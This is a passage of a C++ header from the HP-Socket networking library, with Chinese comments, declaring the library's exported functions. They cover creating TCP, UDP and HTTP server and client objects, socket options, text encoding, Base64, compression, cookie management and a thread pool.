// 创建 ITcpPackClient 对象
HPSOCKET_API ITcpPackClient* HP_Create_TcpPackClient(ITcpClientListener* pListener);
// 销毁 ITcpServer 对象
HPSOCKET_API void HP_Destroy_TcpServer(ITcpServer* pServer);
// 销毁 ITcpAgent 对象
HPSOCKET_API void HP_Destroy_TcpAgent(ITcpAgent* pAgent);
// 销毁 ITcpClient 对象
HPSOCKET_API void HP_Destroy_TcpClient(ITcpClient* pClient);
// 销毁 ITcpPullServer 对象
HPSOCKET_API void HP_Destroy_TcpPullServer(ITcpPullServer* pServer);
// 销毁 ITcpPullAgent 对象
HPSOCKET_API void HP_Destroy_TcpPullAgent(ITcpPullAgent* pAgent);
// 销毁 ITcpPullClient 对象
HPSOCKET_API void HP_Destroy_TcpPullClient(ITcpPullClient* pClient);
// 销毁 ITcpPackServer 对象
HPSOCKET_API void HP_Destroy_TcpPackServer(ITcpPackServer* pServer);
// 销毁 ITcpPackAgent 对象
HPSOCKET_API void HP_Destroy_TcpPackAgent(ITcpPackAgent* pAgent);
// 销毁 ITcpPackClient 对象
HPSOCKET_API void HP_Destroy_TcpPackClient(ITcpPackClient* pClient);
#ifdef _UDP_SUPPORT
// 创建 IUdpServer 对象
HPSOCKET_API IUdpServer* HP_Create_UdpServer(IUdpServerListener* pListener);
// 创建 IUdpClient 对象
HPSOCKET_API IUdpClient* HP_Create_UdpClient(IUdpClientListener* pListener);
// 创建 IUdpCast 对象
HPSOCKET_API IUdpCast* HP_Create_UdpCast(IUdpCastListener* pListener);
// 创建 IUdpNode 对象
HPSOCKET_API IUdpNode* HP_Create_UdpNode(IUdpNodeListener* pListener);
// 创建 IUdpArqServer 对象
HPSOCKET_API IUdpArqServer* HP_Create_UdpArqServer(IUdpServerListener* pListener);
// 创建 IUdpArqClient 对象
HPSOCKET_API IUdpArqClient* HP_Create_UdpArqClient(IUdpClientListener* pListener);
// 销毁 IUdpServer 对象
HPSOCKET_API void HP_Destroy_UdpServer(IUdpServer* pServer);
// 销毁 IUdpClient 对象
HPSOCKET_API void HP_Destroy_UdpClient(IUdpClient* pClient);
// 销毁 IUdpCast 对象
HPSOCKET_API void HP_Destroy_UdpCast(IUdpCast* pCast);
// 销毁 IUdpNode 对象
HPSOCKET_API void HP_Destroy_UdpNode(IUdpNode* pNode);
// 销毁 IUdpArqServer 对象
HPSOCKET_API void HP_Destroy_UdpArqServer(IUdpArqServer* pServer);
// 销毁 IUdpArqClient 对象
HPSOCKET_API void HP_Destroy_UdpArqClient(IUdpArqClient* pClient);
#endif
// ITcpServer 对象创建器
struct TcpServer_Creator
{
static ITcpServer* Create(ITcpServerListener* pListener)
{
return HP_Create_TcpServer(pListener);
}
static void Destroy(ITcpServer* pServer)
{
HP_Destroy_TcpServer(pServer);
}
};
// ITcpAgent 对象创建器
struct TcpAgent_Creator
{
static ITcpAgent* Create(ITcpAgentListener* pListener)
{
return HP_Create_TcpAgent(pListener);
}
static void Destroy(ITcpAgent* pAgent)
{
HP_Destroy_TcpAgent(pAgent);
}
};
// ITcpClient 对象创建器
struct TcpClient_Creator
{
static ITcpClient* Create(ITcpClientListener* pListener)
{
return HP_Create_TcpClient(pListener);
}
static void Destroy(ITcpClient* pClient)
{
HP_Destroy_TcpClient(pClient);
}
};
// ITcpPullServer 对象创建器
struct TcpPullServer_Creator
{
static ITcpPullServer* Create(ITcpServerListener* pListener)
{
return HP_Create_TcpPullServer(pListener);
}
static void Destroy(ITcpPullServer* pServer)
{
HP_Destroy_TcpPullServer(pServer);
}
};
// ITcpPullAgent 对象创建器
struct TcpPullAgent_Creator
{
static ITcpPullAgent* Create(ITcpAgentListener* pListener)
{
return HP_Create_TcpPullAgent(pListener);
}
static void Destroy(ITcpPullAgent* pAgent)
{
HP_Destroy_TcpPullAgent(pAgent);
}
};
// ITcpPullClient 对象创建器
struct TcpPullClient_Creator
{
static ITcpPullClient* Create(ITcpClientListener* pListener)
{
return HP_Create_TcpPullClient(pListener);
}
static void Destroy(ITcpPullClient* pClient)
{
HP_Destroy_TcpPullClient(pClient);
}
};
// ITcpPackServer 对象创建器
struct TcpPackServer_Creator
{
static ITcpPackServer* Create(ITcpServerListener* pListener)
{
return HP_Create_TcpPackServer(pListener);
}
static void Destroy(ITcpPackServer* pServer)
{
HP_Destroy_TcpPackServer(pServer);
}
};
// ITcpPackAgent 对象创建器
struct TcpPackAgent_Creator
{
static ITcpPackAgent* Create(ITcpAgentListener* pListener)
{
return HP_Create_TcpPackAgent(pListener);
}
static void Destroy(ITcpPackAgent* pAgent)
{
HP_Destroy_TcpPackAgent(pAgent);
}
};
// ITcpPackClient 对象创建器
struct TcpPackClient_Creator
{
static ITcpPackClient* Create(ITcpClientListener* pListener)
{
return HP_Create_TcpPackClient(pListener);
}
static void Destroy(ITcpPackClient* pClient)
{
HP_Destroy_TcpPackClient(pClient);
}
};
// ITcpServer 对象智能指针
typedef CHPObjectPtr<ITcpServer, ITcpServerListener, TcpServer_Creator> CTcpServerPtr;
// ITcpAgent 对象智能指针
typedef CHPObjectPtr<ITcpAgent, ITcpAgentListener, TcpAgent_Creator> CTcpAgentPtr;
// ITcpClient 对象智能指针
typedef CHPObjectPtr<ITcpClient, ITcpClientListener, TcpClient_Creator> CTcpClientPtr;
// ITcpPullServer 对象智能指针
typedef CHPObjectPtr<ITcpPullServer, ITcpServerListener, TcpPullServer_Creator> CTcpPullServerPtr;
// ITcpPullAgent 对象智能指针
typedef CHPObjectPtr<ITcpPullAgent, ITcpAgentListener, TcpPullAgent_Creator> CTcpPullAgentPtr;
// ITcpPullClient 对象智能指针
typedef CHPObjectPtr<ITcpPullClient, ITcpClientListener, TcpPullClient_Creator> CTcpPullClientPtr;
// ITcpPackServer 对象智能指针
typedef CHPObjectPtr<ITcpPackServer, ITcpServerListener, TcpPackServer_Creator> CTcpPackServerPtr;
// ITcpPackAgent 对象智能指针
typedef CHPObjectPtr<ITcpPackAgent, ITcpAgentListener, TcpPackAgent_Creator> CTcpPackAgentPtr;
// ITcpPackClient 对象智能指针
typedef CHPObjectPtr<ITcpPackClient, ITcpClientListener, TcpPackClient_Creator> CTcpPackClientPtr;
#ifdef _UDP_SUPPORT
// IUdpServer 对象创建器
struct UdpServer_Creator
{
static IUdpServer* Create(IUdpServerListener* pListener)
{
return HP_Create_UdpServer(pListener);
}
static void Destroy(IUdpServer* pServer)
{
HP_Destroy_UdpServer(pServer);
}
};
// IUdpClient 对象创建器
struct UdpClient_Creator
{
static IUdpClient* Create(IUdpClientListener* pListener)
{
return HP_Create_UdpClient(pListener);
}
static void Destroy(IUdpClient* pClient)
{
HP_Destroy_UdpClient(pClient);
}
};
// IUdpCast 对象创建器
struct UdpCast_Creator
{
static IUdpCast* Create(IUdpCastListener* pListener)
{
return HP_Create_UdpCast(pListener);
}
static void Destroy(IUdpCast* pCast)
{
HP_Destroy_UdpCast(pCast);
}
};
// IUdpNode 对象创建器
struct UdpNode_Creator
{
static IUdpNode* Create(IUdpNodeListener* pListener)
{
return HP_Create_UdpNode(pListener);
}
static void Destroy(IUdpNode* pNode)
{
HP_Destroy_UdpNode(pNode);
}
};
// IUdpArqServer 对象创建器
struct UdpArqServer_Creator
{
static IUdpArqServer* Create(IUdpServerListener* pListener)
{
return HP_Create_UdpArqServer(pListener);
}
static void Destroy(IUdpArqServer* pServer)
{
HP_Destroy_UdpArqServer(pServer);
}
};
// IUdpArqClient 对象创建器
struct UdpArqClient_Creator
{
static IUdpArqClient* Create(IUdpClientListener* pListener)
{
return HP_Create_UdpArqClient(pListener);
}
static void Destroy(IUdpArqClient* pClient)
{
HP_Destroy_UdpArqClient(pClient);
}
};
// IUdpServer 对象智能指针
typedef CHPObjectPtr<IUdpServer, IUdpServerListener, UdpServer_Creator> CUdpServerPtr;
// IUdpClient 对象智能指针
typedef CHPObjectPtr<IUdpClient, IUdpClientListener, UdpClient_Creator> CUdpClientPtr;
// IUdpCast 对象智能指针
typedef CHPObjectPtr<IUdpCast, IUdpCastListener, UdpCast_Creator> CUdpCastPtr;
// IUdpNode 对象智能指针
typedef CHPObjectPtr<IUdpNode, IUdpNodeListener, UdpNode_Creator> CUdpNodePtr;
// IUdpArqServer 对象智能指针
typedef CHPObjectPtr<IUdpArqServer, IUdpServerListener, UdpArqServer_Creator> CUdpArqServerPtr;
// IUdpArqClient 对象智能指针
typedef CHPObjectPtr<IUdpArqClient, IUdpClientListener, UdpArqClient_Creator> CUdpArqClientPtr;
#endif
/*****************************************************************************************************************************************************/
/*************************************************************** Global Function Exports *************************************************************/
/*****************************************************************************************************************************************************/
// 获取 HPSocket 版本号4 个字节分别为:主版本号,子版本号,修正版本号,构建编号)
HPSOCKET_API DWORD HP_GetHPSocketVersion();
// 获取错误描述文本
HPSOCKET_API LPCTSTR HP_GetSocketErrorDesc(EnSocketError enCode);
// 调用系统的 GetLastError() 方法获取系统错误代码
HPSOCKET_API DWORD SYS_GetLastError ();
// 调用系统的 WSAGetLastError() 方法获取系统错误代码
HPSOCKET_API int SYS_WSAGetLastError();
// 调用系统的 setsockopt()
HPSOCKET_API int SYS_SetSocketOption(SOCKET sock, int level, int name, LPVOID val, int len);
// 调用系统的 getsockopt()
HPSOCKET_API int SYS_GetSocketOption(SOCKET sock, int level, int name, LPVOID val, int* len);
// 调用系统的 ioctlsocket()
HPSOCKET_API int SYS_IoctlSocket(SOCKET sock, long cmd, ULONG* arg);
// 调用系统的 WSAIoctl()
HPSOCKET_API int SYS_WSAIoctl(SOCKET sock, DWORD dwIoControlCode, LPVOID lpvInBuffer, DWORD cbInBuffer, LPVOID lpvOutBuffer, DWORD cbOutBuffer, LPDWORD lpcbBytesReturned);
// 设置 socket 选项IPPROTO_TCP -> TCP_NODELAY
HPSOCKET_API int SYS_SSO_NoDelay(SOCKET sock, BOOL bNoDelay);
// 设置 socket 选项SOL_SOCKET -> SO_DONTLINGER
HPSOCKET_API int SYS_SSO_DontLinger(SOCKET sock, BOOL bDont);
// 设置 socket 选项SOL_SOCKET -> SO_LINGER
HPSOCKET_API int SYS_SSO_Linger(SOCKET sock, USHORT l_onoff, USHORT l_linger);
// 设置 socket 选项SOL_SOCKET -> SO_RCVBUF
HPSOCKET_API int SYS_SSO_RecvBuffSize(SOCKET sock, int size);
// 设置 socket 选项SOL_SOCKET -> SO_SNDBUF
HPSOCKET_API int SYS_SSO_SendBuffSize(SOCKET sock, int size);
// 设置 socket 选项SOL_SOCKET -> SO_RCVTIMEO
HPSOCKET_API int SYS_SSO_RecvTimeOut(SOCKET sock, int ms);
// 设置 socket 选项SOL_SOCKET -> SO_SNDTIMEO
HPSOCKET_API int SYS_SSO_SendTimeOut(SOCKET sock, int ms);
// 设置 socket 选项SOL_SOCKET -> SO_EXCLUSIVEADDRUSE / SO_REUSEADDR
HPSOCKET_API int SYS_SSO_ReuseAddress(SOCKET sock, EnReuseAddressPolicy opt);
// 设置 socket 选项SOL_SOCKET -> SO_EXCLUSIVEADDRUSE
HPSOCKET_API int SYS_SSO_ExclusiveAddressUse(SOCKET sock, BOOL bExclusive);
// 获取 SOCKET 本地地址信息
HPSOCKET_API BOOL SYS_GetSocketLocalAddress(SOCKET socket, TCHAR lpszAddress[], int& iAddressLen, USHORT& usPort);
// 获取 SOCKET 远程地址信息
HPSOCKET_API BOOL SYS_GetSocketRemoteAddress(SOCKET socket, TCHAR lpszAddress[], int& iAddressLen, USHORT& usPort);
/* 枚举主机 IP 地址 */
HPSOCKET_API BOOL SYS_EnumHostIPAddresses(LPCTSTR lpszHost, EnIPAddrType enType, LPTIPAddr** lpppIPAddr, int& iIPAddrCount);
/* 释放 LPTIPAddr* */
HPSOCKET_API BOOL SYS_FreeHostIPAddresses(LPTIPAddr* lppIPAddr);
/* 检查字符串是否符合 IP 地址格式 */
HPSOCKET_API BOOL SYS_IsIPAddress(LPCTSTR lpszAddress, EnIPAddrType* penType = nullptr);
/* 通过主机名获取 IP 地址 */
HPSOCKET_API BOOL SYS_GetIPAddress(LPCTSTR lpszHost, TCHAR lpszIP[], int& iIPLenth, EnIPAddrType& enType);
/* 64 位网络字节序转主机字节序 */
HPSOCKET_API ULONGLONG SYS_NToH64(ULONGLONG value);
/* 64 位主机字节序转网络字节序 */
HPSOCKET_API ULONGLONG SYS_HToN64(ULONGLONG value);
/* 短整型高低字节交换 */
HPSOCKET_API USHORT SYS_SwapEndian16(USHORT value);
/* 长整型高低字节交换 */
HPSOCKET_API DWORD SYS_SwapEndian32(DWORD value);
/* 检查是否小端字节序 */
HPSOCKET_API BOOL SYS_IsLittleEndian();
/* 分配内存 */
HPSOCKET_API LPBYTE SYS_Malloc(int size);
/* 重新分配内存 */
HPSOCKET_API LPBYTE SYS_Realloc(LPBYTE p, int size);
/* 释放内存 */
HPSOCKET_API VOID SYS_Free(LPBYTE p);
/* 分配内存块 */
HPSOCKET_API LPVOID SYS_Calloc(int number, int size);
// CP_XXX -> UNICODE
HPSOCKET_API BOOL SYS_CodePageToUnicodeEx(int iCodePage, const char szSrc[], int iSrcLength, WCHAR szDest[], int& iDestLength);
// UNICODE -> CP_XXX
HPSOCKET_API BOOL SYS_UnicodeToCodePageEx(int iCodePage, const WCHAR szSrc[], int iSrcLength, char szDest[], int& iDestLength);
// GBK -> UNICODE
HPSOCKET_API BOOL SYS_GbkToUnicodeEx(const char szSrc[], int iSrcLength, WCHAR szDest[], int& iDestLength);
// UNICODE -> GBK
HPSOCKET_API BOOL SYS_UnicodeToGbkEx(const WCHAR szSrc[], int iSrcLength, char szDest[], int& iDestLength);
// UTF8 -> UNICODE
HPSOCKET_API BOOL SYS_Utf8ToUnicodeEx(const char szSrc[], int iSrcLength, WCHAR szDest[], int& iDestLength);
// UNICODE -> UTF8
HPSOCKET_API BOOL SYS_UnicodeToUtf8Ex(const WCHAR szSrc[], int iSrcLength, char szDest[], int& iDestLength);
// GBK -> UTF8
HPSOCKET_API BOOL SYS_GbkToUtf8Ex(const char szSrc[], int iSrcLength, char szDest[], int& iDestLength);
// UTF8 -> GBK
HPSOCKET_API BOOL SYS_Utf8ToGbkEx(const char szSrc[], int iSrcLength, char szDest[], int& iDestLength);
// CP_XXX -> UNICODE
HPSOCKET_API BOOL SYS_CodePageToUnicode(int iCodePage, const char szSrc[], WCHAR szDest[], int& iDestLength);
// UNICODE -> CP_XXX
HPSOCKET_API BOOL SYS_UnicodeToCodePage(int iCodePage, const WCHAR szSrc[], char szDest[], int& iDestLength);
// GBK -> UNICODE
HPSOCKET_API BOOL SYS_GbkToUnicode(const char szSrc[], WCHAR szDest[], int& iDestLength);
// UNICODE -> GBK
HPSOCKET_API BOOL SYS_UnicodeToGbk(const WCHAR szSrc[], char szDest[], int& iDestLength);
// UTF8 -> UNICODE
HPSOCKET_API BOOL SYS_Utf8ToUnicode(const char szSrc[], WCHAR szDest[], int& iDestLength);
// UNICODE -> UTF8
HPSOCKET_API BOOL SYS_UnicodeToUtf8(const WCHAR szSrc[], char szDest[], int& iDestLength);
// GBK -> UTF8
HPSOCKET_API BOOL SYS_GbkToUtf8(const char szSrc[], char szDest[], int& iDestLength);
// UTF8 -> GBK
HPSOCKET_API BOOL SYS_Utf8ToGbk(const char szSrc[], char szDest[], int& iDestLength);
// 计算 Base64 编码后长度
HPSOCKET_API DWORD SYS_GuessBase64EncodeBound(DWORD dwSrcLen);
// 计算 Base64 解码后长度
HPSOCKET_API DWORD SYS_GuessBase64DecodeBound(const BYTE* lpszSrc, DWORD dwSrcLen);
// Base64 编码返回值0 -> 成功,-3 -> 输入数据不正确,-5 -> 输出缓冲区不足)
HPSOCKET_API int SYS_Base64Encode(const BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen);
// Base64 解码返回值0 -> 成功,-3 -> 输入数据不正确,-5 -> 输出缓冲区不足)
HPSOCKET_API int SYS_Base64Decode(const BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen);
// 计算 URL 编码后长度
HPSOCKET_API DWORD SYS_GuessUrlEncodeBound(const BYTE* lpszSrc, DWORD dwSrcLen);
// 计算 URL 解码后长度
HPSOCKET_API DWORD SYS_GuessUrlDecodeBound(const BYTE* lpszSrc, DWORD dwSrcLen);
// URL 编码返回值0 -> 成功,-3 -> 输入数据不正确,-5 -> 输出缓冲区不足)
HPSOCKET_API int SYS_UrlEncode(BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen);
// URL 解码返回值0 -> 成功,-3 -> 输入数据不正确,-5 -> 输出缓冲区不足)
HPSOCKET_API int SYS_UrlDecode(BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen);
#ifdef _ZLIB_SUPPORT
// 普通压缩返回值0 -> 成功,-3 -> 输入数据不正确,-5 -> 输出缓冲区不足)
// 默认参数iLevel -> -1iMethod -> 8iWindowBits -> 15iMemLevel -> 8iStrategy -> 0
HPSOCKET_API int SYS_Compress(const BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen);
// 高级压缩返回值0 -> 成功,-3 -> 输入数据不正确,-5 -> 输出缓冲区不足)
//默认参数iLevel -> -1iMethod -> 8iWindowBits -> 15iMemLevel -> 8iStrategy -> 0
HPSOCKET_API int SYS_CompressEx(const BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen, int iLevel = -1, int iMethod = 8, int iWindowBits = 15, int iMemLevel = 8, int iStrategy = 0);
// 普通解压返回值0 -> 成功,-3 -> 输入数据不正确,-5 -> 输出缓冲区不足)
//默认参数iWindowBits -> 15
HPSOCKET_API int SYS_Uncompress(const BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen);
// 高级解压返回值0 -> 成功,-3 -> 输入数据不正确,-5 -> 输出缓冲区不足)
//默认参数iWindowBits -> 15
HPSOCKET_API int SYS_UncompressEx(const BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen, int iWindowBits = 15);
// 推测压缩结果长度
HPSOCKET_API DWORD SYS_GuessCompressBound(DWORD dwSrcLen, BOOL bGZip = FALSE);
// Gzip 压缩返回值0 -> 成功,-3 -> 输入数据不正确,-5 -> 输出缓冲区不足)
HPSOCKET_API int SYS_GZipCompress(const BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen);
// Gzip 解压返回值0 -> 成功,-3 -> 输入数据不正确,-5 -> 输出缓冲区不足)
HPSOCKET_API int SYS_GZipUncompress(const BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen);
// 推测 Gzip 解压结果长度(如果返回 0 或不合理值则说明输入内容并非有效的 Gzip 格式)
HPSOCKET_API DWORD SYS_GZipGuessUncompressBound(const BYTE* lpszSrc, DWORD dwSrcLen);
#endif
#ifdef _BROTLI_SUPPORT
// Brotli 压缩返回值0 -> 成功,-3 -> 输入数据不正确,-5 -> 输出缓冲区不足)
// 默认参数iQuality -> 11iWindow -> 22iMode -> 0
HPSOCKET_API int SYS_BrotliCompress(const BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen);
// Brotli 高级压缩返回值0 -> 成功,-3 -> 输入数据不正确,-5 -> 输出缓冲区不足)
//默认参数iQuality -> 11iWindow -> 22iMode -> 0
HPSOCKET_API int SYS_BrotliCompressEx(const BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen, int iQuality = 11, int iWindow = 22, int iMode = 0);
// Brotli 解压返回值0 -> 成功,-3 -> 输入数据不正确,-5 -> 输出缓冲区不足)
HPSOCKET_API int SYS_BrotliUncompress(const BYTE* lpszSrc, DWORD dwSrcLen, BYTE* lpszDest, DWORD& dwDestLen);
// Brotli 推测压缩结果长度
HPSOCKET_API DWORD SYS_BrotliGuessCompressBound(DWORD dwSrcLen);
#endif
/*****************************************************************************************************************************************************/
/******************************************************************** HTTP Exports *******************************************************************/
/*****************************************************************************************************************************************************/
#ifdef _HTTP_SUPPORT
// 创建 IHttpServer 对象
HPSOCKET_API IHttpServer* HP_Create_HttpServer(IHttpServerListener* pListener);
// 创建 IHttpAgent 对象
HPSOCKET_API IHttpAgent* HP_Create_HttpAgent(IHttpAgentListener* pListener);
// 创建 IHttpClient 对象
HPSOCKET_API IHttpClient* HP_Create_HttpClient(IHttpClientListener* pListener);
// 创建 IHttpSyncClient 对象
HPSOCKET_API IHttpSyncClient* HP_Create_HttpSyncClient(IHttpClientListener* pListener = nullptr);
// 销毁 IHttpServer 对象
HPSOCKET_API void HP_Destroy_HttpServer(IHttpServer* pServer);
// 销毁 IHttpAgent 对象
HPSOCKET_API void HP_Destroy_HttpAgent(IHttpAgent* pAgent);
// 销毁 IHttpClient 对象
HPSOCKET_API void HP_Destroy_HttpClient(IHttpClient* pClient);
// 销毁 IHttpSyncClient 对象
HPSOCKET_API void HP_Destroy_HttpSyncClient(IHttpSyncClient* pClient);
// IHttpServer 对象创建器
struct HttpServer_Creator
{
static IHttpServer* Create(IHttpServerListener* pListener)
{
return HP_Create_HttpServer(pListener);
}
static void Destroy(IHttpServer* pServer)
{
HP_Destroy_HttpServer(pServer);
}
};
// IHttpAgent 对象创建器
struct HttpAgent_Creator
{
static IHttpAgent* Create(IHttpAgentListener* pListener)
{
return HP_Create_HttpAgent(pListener);
}
static void Destroy(IHttpAgent* pAgent)
{
HP_Destroy_HttpAgent(pAgent);
}
};
// IHttpClient 对象创建器
struct HttpClient_Creator
{
static IHttpClient* Create(IHttpClientListener* pListener)
{
return HP_Create_HttpClient(pListener);
}
static void Destroy(IHttpClient* pClient)
{
HP_Destroy_HttpClient(pClient);
}
};
// IHttpSyncClient 对象创建器
struct HttpSyncClient_Creator
{
static IHttpSyncClient* Create(IHttpClientListener* pListener = nullptr)
{
return HP_Create_HttpSyncClient(pListener);
}
static void Destroy(IHttpSyncClient* pClient)
{
HP_Destroy_HttpSyncClient(pClient);
}
};
// IHttpServer 对象智能指针
typedef CHPObjectPtr<IHttpServer, IHttpServerListener, HttpServer_Creator> CHttpServerPtr;
// IHttpAgent 对象智能指针
typedef CHPObjectPtr<IHttpAgent, IHttpAgentListener, HttpAgent_Creator> CHttpAgentPtr;
// IHttpClient 对象智能指针
typedef CHPObjectPtr<IHttpClient, IHttpClientListener, HttpClient_Creator> CHttpClientPtr;
// IHttpSyncClient 对象智能指针
typedef CHPObjectPtr<IHttpSyncClient, IHttpClientListener, HttpSyncClient_Creator> CHttpSyncClientPtr;
/**************************************************************************/
/*************************** HTTP Cookie 管理方法 **************************/
/* 从文件加载 Cookie */
HPSOCKET_API BOOL HP_HttpCookie_MGR_LoadFromFile(LPCSTR lpszFile, BOOL bKeepExists = TRUE);
/* 保存 Cookie 到文件 */
HPSOCKET_API BOOL HP_HttpCookie_MGR_SaveToFile(LPCSTR lpszFile, BOOL bKeepExists = TRUE);
/* 清理 Cookie */
HPSOCKET_API BOOL HP_HttpCookie_MGR_ClearCookies(LPCSTR lpszDomain = nullptr, LPCSTR lpszPath = nullptr);
/* 清理过期 Cookie */
HPSOCKET_API BOOL HP_HttpCookie_MGR_RemoveExpiredCookies(LPCSTR lpszDomain = nullptr, LPCSTR lpszPath = nullptr);
/* 设置 Cookie */
HPSOCKET_API BOOL HP_HttpCookie_MGR_SetCookie(LPCSTR lpszName, LPCSTR lpszValue, LPCSTR lpszDomain, LPCSTR lpszPath, int iMaxAge = -1, BOOL bHttpOnly = FALSE, BOOL bSecure = FALSE, int enSameSite = 0, BOOL bOnlyUpdateValueIfExists = TRUE);
/* 删除 Cookie */
HPSOCKET_API BOOL HP_HttpCookie_MGR_DeleteCookie(LPCSTR lpszDomain, LPCSTR lpszPath, LPCSTR lpszName);
/* 设置是否允许第三方 Cookie */
HPSOCKET_API void HP_HttpCookie_MGR_SetEnableThirdPartyCookie(BOOL bEnableThirdPartyCookie = TRUE);
/* 检查是否允许第三方 Cookie */
HPSOCKET_API BOOL HP_HttpCookie_MGR_IsEnableThirdPartyCookie();
/* Cookie expires 字符串转换为整数 */
HPSOCKET_API BOOL HP_HttpCookie_HLP_ParseExpires(LPCSTR lpszExpires, __time64_t& tmExpires);
/* 整数转换为 Cookie expires 字符串 */
HPSOCKET_API BOOL HP_HttpCookie_HLP_MakeExpiresStr(char lpszBuff[], int& iBuffLen, __time64_t tmExpires);
/* 生成 Cookie 字符串 */
HPSOCKET_API BOOL HP_HttpCookie_HLP_ToString(char lpszBuff[], int& iBuffLen, LPCSTR lpszName, LPCSTR lpszValue, LPCSTR lpszDomain, LPCSTR lpszPath, int iMaxAge /*= -1*/, BOOL bHttpOnly /*= FALSE*/, BOOL bSecure /*= FALSE*/, int enSameSite /*= 0*/);
/* 获取当前 UTC 时间 */
HPSOCKET_API __time64_t HP_HttpCookie_HLP_CurrentUTCTime();
/* Max-Age -> expires */
HPSOCKET_API __time64_t HP_HttpCookie_HLP_MaxAgeToExpires(int iMaxAge);
/* expires -> Max-Age */
HPSOCKET_API int HP_HttpCookie_HLP_ExpiresToMaxAge(__time64_t tmExpires);
/*****************************************************************************************************************************************************/
/************************************************************* HTTP Global Function Exports **********************************************************/
/*****************************************************************************************************************************************************/
#endif
/*****************************************************************************************************************************************************/
/**************************************************************** Thread Pool Exports ****************************************************************/
/*****************************************************************************************************************************************************/
// 创建 IHPThreadPool 对象
HPSOCKET_API IHPThreadPool* HP_Create_ThreadPool(IHPThreadPoolListener* pListener = nullptr);
// 销毁 IHPThreadPool 对象
HPSOCKET_API void HP_Destroy_ThreadPool(IHPThreadPool* pThreadPool);
/*
* 名称:创建 TSocketTask 对象
* 描述:创建任务对象,该对象最终需由 HP_Destroy_SocketTaskObj() 销毁
*
* 参数: fnTaskProc -- 任务处理函数
* pSender -- 发起对象
* dwConnID -- 连接 ID
* pBuffer -- 数据缓冲区
* iBuffLen -- 数据缓冲区长度
* enBuffType -- 数据缓冲区类型默认TBT_COPY
* TBT_COPY 深拷贝pBuffer 复制到 TSocketTask 对象。此后 TSocketTask 对象与 pBuffer 不再有任何关联
* -> 适用于 pBuffer 不大或 pBuffer 生命周期不受控的场景
* TBT_REFER 浅拷贝pBuffer 不复制到 TSocketTask 对象,需确保 TSocketTask 对象生命周期内 pBuffer 必须有效
* -> 适用于 pBuffer 较大或 pBuffer 可重用,并且 pBuffer 生命周期受控的场景
* TBT_ATTACH :(附属)执行浅拷贝,但 TSocketTask 对象会获得 pBuffer 的所有权,并负责释放 pBuffer避免多次缓冲区拷贝
* -> 注意pBuffer 必须由 SYS_Malloc()/SYS_Calloc() 函数分配才能使用本类型,否则可能会发生内存访问错误
* wParam -- 自定义参数
* lParam -- 自定义参数
* 返回值: LPTSocketTask
*/
HPSOCKET_API LPTSocketTask HP_Create_SocketTaskObj(Fn_SocketTaskProc fnTaskProc, PVOID pSender, CONNID dwConnID, LPCBYTE pBuffer, INT iBuffLen, EnTaskBufferType enBuffType = TBT_COPY, WPARAM wParam = 0, LPARAM lParam = 0);
// 销毁 TSocketTask 对象
HPSOCKET_API void HP_Destroy_SocketTaskObj(LPTSocketTask pTask);
// IHPThreadPool 对象创建器
struct HPThreadPool_Creator
{
static IHPThreadPool* Create(IHPThreadPoolListener* pListener = nullptr)
{
return HP_Create_ThreadPool(pListener);
}
static void Destroy(IHPThreadPool* pThreadPool)
{
HP_Destroy_ThreadPool(pThreadPool);
}
};
// IHPThreadPool 对象智能指针
typedef CHPObjectPtr<IHPThreadPool, IHPThreadPoolListener, HPThreadPool_Creator> CHPThreadPoolPtr;
/*****************************************************************************************************************************************************/
/********************************************************* Compressor / Decompressor Exports *********************************************************/
/*****************************************************************************************************************************************************/
/* 销毁压缩器对象 */
HPSOCKET_API void HP_Destroy_Compressor(IHPCompressor* pCompressor);
/* 销毁解压器对象 */
HPSOCKET_API void HP_Destroy_Decompressor(IHPDecompressor* pDecompressor);
#ifdef _ZLIB_SUPPORT
/* 创建 ZLib 压缩器对象 */
HPSOCKET_API IHPCompressor* HP_Create_ZLibCompressor(Fn_CompressDataCallback fnCallback, int iWindowBits = 15, int iLevel = -1, int iMethod = 8, int iMemLevel = 8, int iStrategy = 0, DWORD dwBuffSize = 16 * 1024);
/* 创建 GZip 压缩器对象 */
HPSOCKET_API IHPCompressor* HP_Create_GZipCompressor(Fn_CompressDataCallback fnCallback, int iLevel = -1, int iMethod = 8, int iMemLevel = 8, int iStrategy = 0, DWORD dwBuffSize = 16 * 1024);
/* 创建 ZLib 解压器对象 */
HPSOCKET_API IHPDecompressor* HP_Create_ZLibDecompressor(Fn_DecompressDataCallback fnCallback, int iWindowBits = 15, DWORD dwBuffSize = 16 * 1024);
/* 创建 GZip 解压器对象 */
HPSOCKET_API IHPDecompressor* HP_Create_GZipDecompressor(Fn_DecompressDataCallback fnCallback, DWORD dwBuffSize = 16 * 1024);
#endif
#ifdef _BROTLI_SUPPORT
/* 创建 Brotli 压缩器对象 */
HPSOCKET_API IHPCompressor* HP_Create_BrotliCompressor(Fn_CompressDataCallback fnCallback, int iQuality = 11, int iWindow = 22, int iMode = 0, DWORD dwBuffSize = 16 * 1024);
/* 创建 Brotli 解压器对象 */
HPSOCKET_API IHPDecompressor* HP_Create_BrotliDecompressor(Fn_DecompressDataCallback fnCallback, DWORD dwBuffSize = 16 * 1024);
#endif

View File

@@ -0,0 +1,594 @@
/*
* Copyright: JessMA Open Source (ldcsaa@gmail.com)
*
* Author : Bruce Liang
* Website : https://github.com/ldcsaa
* Project : https://github.com/ldcsaa/HP-Socket
* Blog : http://www.cnblogs.com/ldcsaa
* Wiki : http://www.oschina.net/p/hp-socket
* QQ Group : 44636872, 75375912
*
* Licensed under the Apache License, Version 2.0 (the "License");
